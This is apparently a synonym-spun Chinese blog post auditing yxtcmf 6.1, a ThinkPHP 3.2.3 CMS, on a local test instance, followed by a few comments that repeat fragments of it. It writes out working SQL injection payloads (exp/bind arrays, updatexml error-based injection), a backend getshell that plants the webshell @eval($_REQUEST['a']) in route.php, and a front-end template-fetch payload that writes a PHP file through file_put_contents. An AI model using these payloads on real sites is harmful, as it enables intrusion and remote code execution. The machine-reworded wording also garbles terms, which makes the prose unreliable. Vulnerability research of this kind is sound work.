phpstudy,AWVS0x00掌握文档构造和路由方法
序言
yxtcmf6.1是一个根据thinkphp3.2.3的cms,19年3月份公布,用于训练代码审计是个非常好的挑选。
财务审计构思
因为这一cms选用MVC构架而且是根据thinkphp3.2.3的,因此 先掌握文档构造,了解不一样的网页页面相匹配的文档部位在哪儿。随后构建一个tp3.2.3了解一下这一架构,百度搜索找找这一架构的系统漏洞,再根据Seay全局搜索很有可能由于这一架构存有系统漏洞的关键字。接下去上全自动财务审计(全自动财务审计的标准并并不是很彻底,因此 能够根据自身财务审计的工作经验加上标准或是上百度搜索找一些标准),对全自动财务审计的結果开展认证,結果很有可能会出现好几百上万条,尽管无需每一条都去看看,可是也是较为必须细心的。最终能够拿AWVS这类的扫描枪扫一扫,看一下能否扫到意外惊喜。
提前准备专用工具
phpstorm,Seay源代码审计系统,phpstudy,AWVS
0x00 掌握文档构造和路由方法
路由器方法
比如前台接待登陆界面的url为http://127.0.0.1:8014/index.php/User/Login/index
则相匹配的文件名称为/application/User/LoginController.class.php,涵数为index()
0x01 掌握thinkphp3.2.3的系统漏洞
自身先构建一个tp3.2.3,根据百度搜索找到一些thinkphp3.2.3存有的sql注入,随后记下来简易表明一下
tp3.2.3结构sql语句的涵数如上,假如$option的值是能够随意传到的,那麼就会有很有可能做到sql注入的目地
1.->where("可控性主要参数")->find()
$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();
测试程序如上,传到主要参数username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)#,随后调节跟踪,关键代码段以下,$whereStr为结构sql语句的一部分
結果组成以下sql语句
这儿接受传参的方式 务必不以I($_GET['username']),不然会参考值内是不是带有'exp',如果有,便会再加空格符变成'exp '
2.->find/select/delete("可控性主要参数")
$id=I("id");$data=M("users")->find($id);
测试程序如上,传到id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) # ,随后调节追踪
最终获得sql语句以下,不用单引号合闭也可进行引入
find()换为select()或是delete()也是一样的实际效果
3.->where("可控性主要参数")->save("可控性主要参数")
$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);
测试程序如上,传到username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))#&password=123456,调节追踪
4.->order("可控性主要参数")->find()
$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();
测试程序如上,传到username=admin&order[updatexml(1,concat(0x3a,user()),1)]
最终的sql语句以下
了解了好多个tp3.2.3的sql注入后,就可以检索这种关键字来找寻sql注入
0x02 全局搜索sql注入
正则表达式学的并不是非常好,因此 这儿全局搜索尽管适用正则表达式,可是不去用,只有写点简易的关键字来检索,敬请老师傅们指导指导
全局搜索->find(
1.后台管理Ad控制板sql注入
点进来第一条发觉where()内的$id可控性,“ad_id=$id”,很有可能不用单引号合闭就可以sql注入
先随意传个主要参数看一下sql语句是如何的
居然那样,就可以用括弧合闭来引入了
2.前台接待register控制板sql注入
看一下$where是不是可控性
因此结构payload以下
3.前台接待login控制板sql注入
这儿一共有三处一样的关键字,必须留意的一点是,这三条无论双击鼠标进来哪一条后都总是高亮显示第一处关键字的部位。
第一处
第二处
第三处
第一处和第二处所属的涵数全是在dologin()涵数内启用的
接下去在第二处所属网页页面传参payload看一下
結果出現报错,那麼就调节追踪看一下是哪里的难题
随后再次跟踪这行编码,
最终看一下第三处
后边的結果大概看过一下基础全是where()内的主要参数都干了强制性类型转换成int型,或是不可控性,而且都没有见到fin()内有可控性主要参数的。
全局搜索->select/delete(
这两都没找到select/delete()里边有可控性主要参数的
全局搜索->save(
这儿找的也是不符很有可能存有系统漏洞的标准
全局性搜索->order(
跟上面一样,没见到order()内有可控性主要参数的
0x03 全自动财务审计
根据全自动财务审计扫到了800好几条結果,可是并不一定统统看,例如了解了tp3.2.3后,它的关键文档的就不用看过,也有不久剖析过去了sql注入,那麼这里边的sql注入也不用看过。像fread(),fgets()这类必须輸出才可以见到文档內容的,要是没有见到輸出的句子还可以放弃了,而像readfile(),unlink()这类能够立即获得实行結果的,就需要重点关注一下。
0x04 后台管理随意文档载入
翻着翻着找到这儿,进来看一下自变量是不是可控性
0x05 后台管理文档载入getshell
翻到这儿,点进来看一下
那麼假如能在route表格中的full_url字段名中插进一句话木马,就可以将其载入到route.php里边了
上边的1212-1217行必须留意一下
parse_url($full_url)将里边的值分析,并将相对的值组成数字能量数组,事例以下
假如$a立即填a/b/c/d,那麼array[path]=a/b/c/d
再次见到1215-1217行
因此 full_url的字段名务必带有 a/b/c 那样的方式
全局搜索sp_get_routes后发觉admin文件目录下的Route控制板启用了它
尽管index()涵数下沒有插进表的句子,可是下边也有add()涵数开展数据库查询插进,先开启这一index网页页面看一下
发觉有加上url标准
的确是在add()下,而且初始网站地址的自变量名叫full_url,加出来都键入111认证下是不是插进route表
接下去看一下route.php的款式和插进数据信息是不是有过虑来明确payload该怎么写
由于它是个php文件,因此 不用插进<>了,要是能插进单引号合闭,那麼就可以将一句话木马插进
先插进带单引号的数据处理一下
随后再融合上边说的 full_url的字段名务必带有 a/b/c 那样的方式 那麼就可以结构下列二种payload
url=aaa',@eval($_REQUEST['a']),'
full_url=a/b/c
url=aaa
full_url=a/b/c',@eval($_REQUEST['a']),'
加上完后会跳转到url清理页面,也就是启用route控制板的index()涵数,进行载入route.php的实际操作
随后取得成功实行phpinfo()
0x06 前台接待文档载入getshell
这个是在百度上寻找的,并且非常复杂,小兄弟水准比较有限,调节了好多遍才知道在哪儿实行的 载入。
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
因为前边跟踪了许多 文档和函数,跟踪流程较为繁杂,我在这里就立即贴出最终重要的地区
先回调函数has方式 查验有木有''5f068... 这一php文件,要是没有,则回调函数put载入这一文档
这儿的$content就包括了payload里载入的值
如果有''5f068... 这一文档,那麼就回调函数load涵数,随后文件包含''5f068... ,里边的编码强制执行,那麼test.php文件就被载入了
0x07 AWVS扫描仪
AWVS并沒有扫出哪些...
小结
全自动财务审计除开这种认证出系统漏洞的地区,也有许多 不会有系统漏洞的地区因为我看过,要不便是主要参数不可控性,要不便是干了安全防护。尽管无需每一条結果都去看看,但還是必须有点儿细心。期待本文能对刚新手入门财务审计的弟兄有一定的协助,不太好的地区也敬请老师傅们强调。
相关文章
- 3条评论
- 晴枙羁拥2022-05-28 10:10:14
- ['a']),' 加上完后会跳转到url清理页面,也就是启用route控制板的index()涵数,进行载入route.php的实际操作
- 鸠骨雨铃2022-05-28 01:39:37
- > 因为前边跟踪了许多 文档和函数,跟踪流程较为繁杂,我在这里就立即贴出最终重要的地区 先回调函数has方式 查验有木有''5f068... 这一php文件,要是没有,则回调函数put载入这一文档
- 性许时窥2022-05-28 08:27:43
- 全自动财务审计的标准并并不是很彻底,因此 能够根据自身财务审计的工作经验加上标准或是上百度搜索找一些标准),对全自动财务审计的結果开展认证,結果很有可能会出现好几百上万条,尽管无需每一条都去看看,可是也是较为必须细心的。最终能够拿AWVS这类的